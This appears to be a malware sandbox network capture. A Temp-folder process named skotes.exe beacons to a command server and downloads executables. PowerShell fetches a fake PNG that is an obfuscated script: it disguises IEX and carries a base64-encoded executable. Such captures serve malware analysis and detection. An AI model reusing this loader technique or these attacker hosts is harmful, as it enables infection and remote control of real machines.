Dec 16, 2024 17:02:28.282407045 CET	1236	IN	Data Raw: 55 e7 64 cd fc 96 ca 48 63 bd 6f b5 06 8d 86 2d 47 01 41 04 53 f1 64 d1 06 2d fb 19 11 6e e3 b5 91 42 64 f6 4d a5 5d a0 4e e4 c6 b2 4a eb 7a 36 13 8b 3c b0 0f 31 18 2b 51 0d 74 b0 d8 d7 df 55 71 33 ae db 00 82 9d 80 16 e0 7d d2 65 7b fb 51 ca eb Data Ascii: UdHco-GASd-nBdM]NJz6<1+QtUq3}e{QSUK]<wW:pNmQH!y,c?J%Q\oxTG3Bct%Vgb;@WE3D_hJ%?P;vHYzkQF]i*
Dec 16, 2024 17:02:28.282418966 CET	1236	IN	Data Raw: c2 61 12 15 43 fe ff 02 bf d3 59 a4 f0 ff d0 91 fe b3 35 50 69 5a 82 54 21 fd bf 62 ee 85 4b a7 2b 68 5a 87 73 05 86 04 73 f7 62 8d a7 77 18 a2 b6 37 15 5e 32 50 0d 22 c2 45 95 d7 07 7f 66 21 a3 ad 84 19 5c b7 94 1c c5 ba 74 91 f1 bf 79 13 eb f1 Data Ascii: aCY5PiZT!bK+hZssbw7^2P"Ef!\tyjF+6q+n5RqbjKG&R;9,u$J.IO0\|YKli:8!@nP!uq?kb3PJY@\|-6e]Ruv[@~:&>;
Dec 16, 2024 17:02:28.282749891 CET	1236	IN	Data Raw: dd e7 6c 75 5b 08 7d 90 e9 e3 f2 9d 4b dc 6e fd 0f df e1 0a 11 79 2b 13 e2 a4 e6 7b ea b9 6f 20 18 cb 86 c5 3a 2e 0b 45 95 fe 10 52 e5 de f0 3b 8f 51 3f 24 b2 1d 23 cd 0c 48 8f f0 1c fd ea e7 36 ed 2a af f7 9f df d6 f5 e8 6a 24 7d 8e ab 23 87 37 Data Ascii: lu[}Kny+{o :.ER;Q?$#H6*j$}#7^#[[1F2YnmZF([5Y+N>Q>s>4<?`xdk/jB&?W1\|Z/uv Z>D-{bS
Dec 16, 2024 17:02:28.282759905 CET	192	IN	Data Raw: 7b 90 2f 45 0e ec ec 96 a8 d9 c5 bf 06 89 90 b5 93 02 67 7e 78 76 0f 0a 92 66 ea 99 46 6c 64 74 1f 1c 42 04 57 e8 7a 43 a9 98 a6 78 3e 5e 73 29 d1 8f 6b 3a e9 ab e1 64 11 75 ce ae 0e 4e 7f 20 c1 7f 57 70 da ec 18 6e 00 65 89 59 6c 47 67 13 76 37 Data Ascii: {/Eg~xvfFldtBWzCx>^s)k:duN WpneYlGgv7F"\|ort3JJ-Wa%#O::eGrb![U{\|n)vkGPb9n;l6@c{2'O\S
Dec 16, 2024 17:02:28.283039093 CET	1236	IN	Data Raw: 97 47 a4 d9 e8 87 21 82 e6 07 dd 8b 7b 9c 69 e9 0e 54 ec 80 93 2c 8d cd 7e aa eb e5 de 99 9d b9 93 0a 32 56 22 1e ed 26 d3 57 b2 c5 cc c2 67 3e 77 5b 22 32 b5 32 bb 25 37 30 28 14 07 6f a8 f5 3a cc b6 9f 85 e0 8c 35 aa c8 ff b8 3d a2 91 ed 90 10 Data Ascii: G!{iT,~2V"&Wg>w["22%70(o:5=voV~OBZ&dvVZzEaOYqIW3Rm>)pI<`CdO13PyhE9%l?A*/\|njzu/H19>D_
Dec 16, 2024 17:02:28.283049107 CET	224	IN	Data Raw: b5 af e0 d9 fe b4 42 b6 ae a6 a8 d8 82 0c f0 90 66 0b 33 43 c1 65 ec 60 88 4f 80 cb e4 46 7c 13 7f d9 d7 4a 1e d6 16 9f 09 f3 85 79 ce f5 44 77 3c 25 9f 28 86 8a f1 ba 50 85 f8 41 9f 2a 39 26 57 4d 7f f5 f6 6a dd 00 16 b7 0d c3 b1 f5 21 30 d3 85 Data Ascii: Bf3Ce`OF\|JyDw<%(PA9&WMj!0#Ub"Qodp4P0ou~4$:!uEHbTf1Cqywb1;1GaT9iN]4f2
Dec 16, 2024 17:02:28.283060074 CET	1236	IN	Data Raw: c1 90 a7 fa 51 46 ae 5b 4b c0 63 f3 e1 25 dc 7b 84 c3 9c 70 59 05 82 df 27 95 16 55 2f 93 d6 e0 bd 0e c5 3b 5f db 5f 72 42 f6 18 32 60 43 47 95 8a 1a 09 d7 96 02 9b 96 55 06 9c 6d 18 07 ef 1c 52 30 18 6a 83 80 82 ec 5a d3 42 40 6b 42 b7 14 b2 98 Data Ascii: QF[Kc%{pY'U/;__rB2`CGUmR0jZB@kBl@H21q/8Mi18@g)?usaj6z}G3""CnzA'jET<ap$#le#HI~8T6G$BrL\,gz]vWaVt{B<G
Dec 16, 2024 17:02:28.402271032 CET	1236	IN	Data Raw: e2 6b 69 14 76 98 d9 0e d8 ce 28 48 c2 07 17 ff 21 1d 24 40 1a 22 4a 6b 3f 4f 22 1c 45 24 04 a6 5c a2 69 74 b1 ed 54 47 cb b9 77 1c 91 ec dc fc 29 33 af 4f 61 77 b4 33 f4 61 8d b3 a0 81 1f b3 b4 bf da c6 37 55 ce 37 69 33 da 48 a9 c5 3a 31 82 ab Data Ascii: kiv(H!$@"Jk?O"E$\itTGw)3Oaw3a7U7i3H:10=~2l+vlNz+mP9<\.W\|hy=q>xw;Y):<EQ6;pB,cE, ej\BM?7'mN]!{%Afg@AnfN$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49715	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:31.535068989 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016172001&unit=246122658369
Dec 16, 2024 17:02:32.895917892 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49717	31.41.244.11	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:33.020328045 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 17:02:34.347199917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:34 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 16, 2024 17:02:34.347275019 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:34.347333908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:34.347497940 CET	1236	IN	Data Raw: 44 00 00 90 69 04 be 95 e9 d1 5b 89 c1 c1 e9 18 31 c1 69 c1 95 e9 d1 5b 69 ca 95 e9 d1 5b 31 c1 69 44 be 04 95 e9 d1 5b 89 c2 c1 ea 18 31 c2 69 c2 95 e9 d1 5b 69 d1 95 e9 d1 5b 31 c2 83 c7 02 39 fb 75 bf f6 45 e0 04 74 1d 90 69 3c be 95 e9 d1 5b Data Ascii: Di[1i[i[1iD[1i[i[19uEti<[1i[i[1E1ttu#\|D11i[11i[1;uu$U}D$MJLEEEr2P
Dec 16, 2024 17:02:34.347539902 CET	1236	IN	Data Raw: 9f 41 00 e8 57 00 00 00 83 c4 08 90 8b 45 c4 8d 4d c4 6a 01 ff 10 90 c7 45 c4 44 60 41 00 8d 45 c8 50 e8 06 2f 00 00 83 c4 04 b8 07 16 40 00 83 c4 0c 5d c3 66 66 2e 0f 1f 84 00 00 00 00 00 55 83 ec 0c 83 c5 0c 90 c7 45 c4 44 60 41 00 8d 45 c8 50 Data Ascii: AWEMjED`AEP/@]ff.UED`AEP.]SWV\|$A1D$\$$j93SjWVp0;L$1^_[UWVu}A1Ehmd5XAEUj
Dec 16, 2024 17:02:34.347582102 CET	672	IN	Data Raw: 00 eb 13 90 ff 75 e0 e8 88 08 00 00 83 c4 04 56 ff 15 48 cc 41 00 90 8b 45 e8 64 a3 00 00 00 00 b0 01 83 c4 4c 5e 5f 5b 5d c3 90 c7 45 f0 03 00 00 00 e8 64 05 00 00 e8 c5 64 00 00 66 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 55 83 ec 1c 83 c5 0c Data Ascii: uVHAEdL^_[]Eddffffff.Uu9]Uu]U]@U]@UMa]fff.U]@U]D$t
Dec 16, 2024 17:02:34.347623110 CET	1236	IN	Data Raw: 68 d0 20 40 00 6a 00 6a 00 e8 cc 51 00 00 83 c4 18 90 8b 4d e0 89 01 85 c0 0f 84 fd 00 00 00 90 c7 45 d8 00 00 00 00 90 8b 45 d4 8b 30 85 f6 0f 84 fb 00 00 00 e8 65 10 00 00 39 c6 0f 84 fd 00 00 00 90 6a 00 8b 75 e0 ff 76 04 ff 36 e8 fe 0f 00 00 Data Ascii: h @jjQMEE0e9juv6FuAEj@@EMEQjPh"@jj-QEEu9juue
Dec 16, 2024 17:02:34.348071098 CET	1236	IN	Data Raw: e8 dc 00 00 00 83 c4 04 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc b8 28 d4 41 00 e9 9d 1f 00 00 cc cc cc cc cc cc b8 a8 d4 41 00 e9 8d 1f 00 00 cc cc cc cc cc cc b8 08 d5 41 00 e9 7d 1f 00 00 cc cc cc cc cc cc b8 64 d5 41 00 e9 6d 1f 00 00 cc Data Ascii: ](AAA}dAmA]tAMA=A-<AhAUugQYtuaYt]}gaUuY]
Dec 16, 2024 17:02:34.348110914 CET	1236	IN	Data Raw: 0c 56 e8 0b fc ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 83 ec 14 56 8b 75 08 ff 34 b5 7c 61 41 00 e8 1f 00 00 00 50 ff 34 b5 98 61 41 00 8d 4d ec e8 02 02 00 00 68 2c d7 41 00 8d 45 ec 50 e8 8d 17 00 00 cc b8 44 e6 41 00 c3 55 8b ec 8b 45 08 8b Data Ascii: VYY^]UVu4\|aAP4aAMh,AEPDAUEUH]UQQVWuupEPAPTYY_^UAVuV;Bu;Eu2^]UQVWy1urAE_^UUVuBN@;Au
Dec 16, 2024 17:02:34.348150969 CET	1236	IN	Data Raw: 75 02 5d c3 50 3d 00 10 00 00 72 07 e8 0a 00 00 00 eb 05 e8 f1 f6 ff ff 59 5d c3 55 8b ec 8b 45 08 8d 48 23 3b c8 0f 86 1f f8 ff ff 51 e8 d7 f6 ff ff 59 8b c8 85 c9 74 0b 8d 41 23 83 e0 e0 89 48 fc 5d c3 e9 9c 53 00 00 83 61 04 00 8b c1 83 61 08 Data Ascii: u]P=rY]UEH#;QYtA#H]SaaAALaAUMu*h AEP}UVu1aA^]UQVuubA^UVubA^]UjhL\AdPQSVWA3P
Dec 16, 2024 17:02:34.470612049 CET	1236	IN	Data Raw: 28 39 03 0f 84 80 00 00 00 8d 46 08 50 ff 15 44 cc 41 00 eb 74 83 7f 04 00 8b 0f 7c 57 7f 04 85 c9 72 51 0b 4f 04 75 05 39 4f 08 7e 47 8d 45 ec 50 e8 dd 00 00 00 8b 07 59 8b 4d f0 3b 4f 04 7c 19 7f 05 39 45 ec 72 12 39 45 ec 75 59 3b 4f 04 75 54 Data Ascii: (9FPDAt\|WrQOu9O~GEPYM;O\|9Er9EuY;OuTE;G}LE^(9t%FPdAu^(9tFPdAtN,AF,~+u(N,tGuGjjXE3_[M3^UEPpA3]UQQE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49728	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:38.225296974 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016173001&unit=246122658369
Dec 16, 2024 17:02:39.576384068 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49730	31.41.244.11	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:39.738408089 CET	60	OUT	GET /files/cloud/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 17:02:41.058330059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:40 GMT Content-Type: application/octet-stream Content-Length: 56832 Last-Modified: Sat, 14 Dec 2024 17:59:34 GMT Connection: keep-alive ETag: "675dc786-de00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed 70 5d 67 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 30 00 00 d4 00 00 00 da 00 00 00 00 00 00 66 f2 00 00 00 20 00 00 00 00 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 0c f2 00 00 57 00 00 00 00 20 01 00 88 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELp]g.0f @ @@W H.textl `.reloc@B.rsrc @@HHj[0T( ^jT a%^E+(( -7Z fa+( \|lZ a+*0D E'"(+(( /G (a%^EK8 D(+((((- M\|/$%+ [%& @Za+ !p(+( ,J.(+(((, q%+ %& i(Za86(~( Sz{Z [i-a8~
Dec 16, 2024 17:02:41.058367014 CET	1236	IN	Data Raw: 28 a6 00 00 06 11 06 20 6a 5a eb bb 5a 20 2f 6a 98 be 61 38 f4 fe ff ff 14 fe 06 03 00 00 06 73 10 00 00 0a 28 de 00 00 06 0d 20 c1 05 dc e5 38 d8 fe ff ff 2a 13 30 05 00 60 01 00 00 03 00 00 11 02 28 7f 00 00 06 0a 20 6d f9 d4 32 20 74 da 3a 74 Data Ascii: ( jZZ /ja8s( 8*0`( m2 t:ta%^EI0e8(( 9rZ 4N!a+~( sB+~( Z +P`a+{(- g%+ _\8%&8_
Dec 16, 2024 17:02:41.058382034 CET	1236	IN	Data Raw: 4c e4 b3 5a 20 a1 ee fa fc 61 38 88 fe ff ff 11 06 2a 00 00 00 13 30 08 00 30 05 00 00 05 00 00 11 1f 40 0a 20 43 c9 39 13 20 cd 7e e8 5d 61 25 13 0c 1f 27 5e 45 27 00 00 00 87 02 00 00 f3 00 00 00 47 00 00 00 41 01 00 00 28 01 00 00 45 04 00 00 Data Ascii: LZ a8*00@ C9 ~]a%'^E'GA(EofniUN4[)HN8t8i Z >a8;(
Dec 16, 2024 17:02:41.058725119 CET	1236	IN	Data Raw: 61 9e 11 07 1b 11 07 1b 95 08 1b 95 61 9e 11 0c 20 a6 d0 f1 ee 5a 20 56 79 42 13 61 38 34 fb ff ff 1f 40 28 c0 00 00 06 25 d0 02 00 00 04 28 23 00 00 0a 0b 11 0c 20 49 f1 15 57 5a 20 43 34 68 0a 61 38 0e fb ff ff 08 11 0a 8f 5d 00 00 01 25 71 5d Data Ascii: aa Z VyBa84@(%(# IWZ C4ha8]%q]a] aZ sYa8(*0 Z $ad (u ?a%^EJj18,
Dec 16, 2024 17:02:41.058737993 CET	896	IN	Data Raw: 62 60 7e 01 00 00 04 02 25 17 58 10 00 e0 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 e0 91 1f 18 62 60 0c 11 07 20 1f 59 35 f2 5a 20 b8 55 75 10 61 38 46 fe ff ff 02 18 62 10 00 06 6e 19 6a 33 08 20 8f d2 fb 43 25 2b 06 20 b3 bb f5 1b 25 26 Data Ascii: b`~%Xb`~%Xb` Y5Z Uua8Fbnj3 C%+ %& :Za8~%X~%Xb`~%Xb`~%Xb`~%X~%Xb`~%Xb`~%Xb` @bDZ ra8
Dec 16, 2024 17:02:41.058753014 CET	1236	IN	Data Raw: 62 60 7e 01 00 00 04 02 25 17 58 10 00 e0 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 e0 91 1f 18 62 60 13 05 11 07 20 ca 18 17 2b 5a 20 d8 25 8d 76 61 38 8c fd ff ff d0 01 00 00 1b 28 11 00 00 0a 6f 28 00 00 0a 11 05 28 29 00 00 0a 13 06 7e Data Ascii: b`~%Xb`~%Xb` +Z %va8(o(()~Y($ 8+#Z 4a8O*0 u{X?Z Qa ~F a%^EXtYA'8<~%X~
Dec 16, 2024 17:02:41.059344053 CET	1236	IN	Data Raw: 58 10 00 e0 91 7e 01 00 00 04 02 25 17 58 10 00 e0 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 e0 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 e0 91 1f 18 62 60 0c 11 07 20 a8 77 24 db 5a 20 93 a2 20 f6 61 38 22 fe ff ff 06 6e 17 6a 33 08 20 Data Ascii: X~%Xb`~%Xb`~%Xb` w$Z a8"nj3 w%+ #%& Za8nj. l%+ <%&8d 1(LZ <~a8~%X~%Xb`~%Xb`~%Xb` :Z ^3a8y
Dec 16, 2024 17:02:41.059359074 CET	1236	IN	Data Raw: 13 e4 0f 01 25 2b 06 20 42 12 31 68 25 26 38 4f fc ff ff 11 07 1f 0d 11 07 1f 0d 95 08 1f 0d 95 61 9e 11 07 1f 0e 11 07 1f 0e 95 08 1f 0e 95 61 9e 11 0c 20 25 13 8e 05 5a 20 ea 33 7f 50 61 38 1e fc ff ff 11 07 1f 0f 11 07 1f 0f 95 08 1f 0f 95 61 Data Ascii: %+ B1h%&8Oaa %Z 3Pa8a Z a8%X %0Z Ga8 kZ 7/a8aaaa 5:Z \|(a8 H>8r
Dec 16, 2024 17:02:41.059372902 CET	1236	IN	Data Raw: 00 08 00 00 11 17 0a 02 7b 07 00 00 04 0b 20 9a 9b 8e b6 20 c3 87 4c fc 61 25 0c 1c 5e 45 06 00 00 00 11 00 00 00 02 00 00 00 45 00 00 00 5d 00 00 00 24 00 00 00 d4 ff ff ff 2b 5b 08 20 ce 23 31 ff 5a 20 bb 32 62 10 61 2b c8 07 17 59 0b 08 20 f8 Data Ascii: { La%^EE]$+[ #1Z 2ba+Y $2Z a+b{(#%&X S+0 h%+ V%&8\|{_bY*0 }' a%^EF2w8{/
Dec 16, 2024 17:02:41.060127020 CET	1236	IN	Data Raw: 17 11 04 59 60 0c 11 05 20 ae fc cc 54 5a 20 03 20 d6 fe 61 38 f0 fe ff ff 02 7b 08 00 00 04 0b 11 05 20 f6 54 a0 57 5a 20 71 8a 68 71 61 38 d6 fe ff ff 03 0d 11 05 20 22 ab b3 31 5a 20 30 be 40 7c 61 38 c1 fe ff ff 06 20 00 00 00 01 37 12 18 45 Data Ascii: Y` TZ a8{ TWZ qhqa8 "1Z 0@\|a8 7E $%+ <J%& ibZa8} Z H`a8xY_Y KZ a8\b{o!%&`b Z Ma82*0 }
Dec 16, 2024 17:02:41.178215981 CET	1236	IN	Data Raw: 02 28 22 00 00 06 09 20 38 58 52 cb 5a 20 cc e6 35 18 61 38 32 fe ff ff 02 7b 17 00 00 04 6f 40 00 00 06 09 20 cd 60 bb 50 5a 20 28 e1 a1 ce 61 38 15 fe ff ff 06 17 58 0a 09 20 10 8c 38 2c 5a 20 4c 5e 00 4e 61 38 ff fd ff ff 02 7b 13 00 00 04 04 Data Ascii: (" 8XRZ 5a82{o@ `PZ (a8X 8,Z L^Na8{{oN L^Z 8_a8X oZ $a8bX{("{("X <8 Z fa8{ %aZ Fa8i{("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49742	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:43.900317907 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016174001&unit=246122658369
Dec 16, 2024 17:02:45.254661083 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49743	185.11.61.104	80	3436	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:44.190584898 CET	68	OUT	GET /Z.png HTTP/1.1 Host: 185.11.61.104 Connection: Keep-Alive
Dec 16, 2024 17:02:45.516676903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:45 GMT Content-Type: image/png Content-Length: 124772 Last-Modified: Sat, 14 Dec 2024 11:07:52 GMT Connection: keep-alive ETag: "675d6708-1e764" Accept-Ranges: bytes Data Raw: 69 70 63 6f 6e 66 69 67 20 2f 66 6c 75 73 68 64 6e 73 0d 0a 0d 0a 0d 0a 20 24 74 30 3d 27 41 5a 41 5a 41 5a 49 45 58 27 2e 72 65 70 6c 61 63 65 28 27 41 5a 41 5a 41 5a 27 2c 27 27 29 3b 73 61 6c 20 47 47 20 24 74 30 3b 0d 0a 0d 0a 24 4f 45 3d 22 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 45 69 61 56 57 63 41 41 41 41 41 41 41 41 41 41 4f 41 41 4c 69 45 4c 41 54 41 41 41 45 49 42 41 41 42 47 41 51 41 41 41 41 41 41 55 6d 45 42 41 41 41 67 41 41 41 41 67 41 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 [TRUNCATED] Data Ascii: ipconfig /flushdns $t0='AZAZAZIEX'.replace('AZAZAZ','');sal GG $t0;$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEiaVWcAAAAAAAAAAOAALiELATAAAEIBAABGAQAAAAAAUmEBAAAgAAAAgAEAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADAAQAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAPhgAQBXAAAAAKABAEQDAAAAAAAAAAAAAAAAAAAAAAAAAIABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAWEEBAAAgAAAAQgEAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAgAEAAAIAAABEAQAAAAAAAAAAAAAAAABAAABCLnJzcmMAAABEAwAAAKABAAAEAAAARgEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAA0YQEAAAAAAEgAAAACAAUAvKYAADy6AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwAQAAAAAQAAESjuAAAGKLkCAAYooQIABioTMAoAcwEAAAIAABEgC9bMBSgBAAArCiChympbILt52AhhJRMGHwleRQkAAAAKAQAABQAAAC0BAAC3
Dec 16, 2024 17:02:45.516896963 CET	1236	IN	Data Raw: 41 41 41 41 78 76 2f 2f 2f 33 6f 41 41 41 41 67 41 41 41 41 6d 67 41 41 41 46 77 41 41 41 41 34 4b 41 45 41 41 43 68 73 41 67 41 47 4b 47 55 42 41 41 59 4c 45 51 59 67 44 57 61 64 56 31 6f 67 78 51 6a 65 57 47 45 72 71 77 63 67 6d 56 57 44 30 43 Data Ascii: AAAAxv///3oAAAAgAAAAmgAAAFwAAAA4KAEAAChsAgAGKGUBAAYLEQYgDWadV1ogxQjeWGErqwcgmVWD0CgBAAArFyhAAgAGEwQRBBYoOwIABijYAAAGohEEKIoBAAYMEQYg8owXj1ogF1O2r2E4b////wl+DAEABCgBAgAGEQYg64IPvlogE89F3WE4Uf///wgtCCDfMrj5JSsGIEK2ycclJhEGIAKaUohaYTgx////fvoAAAQ
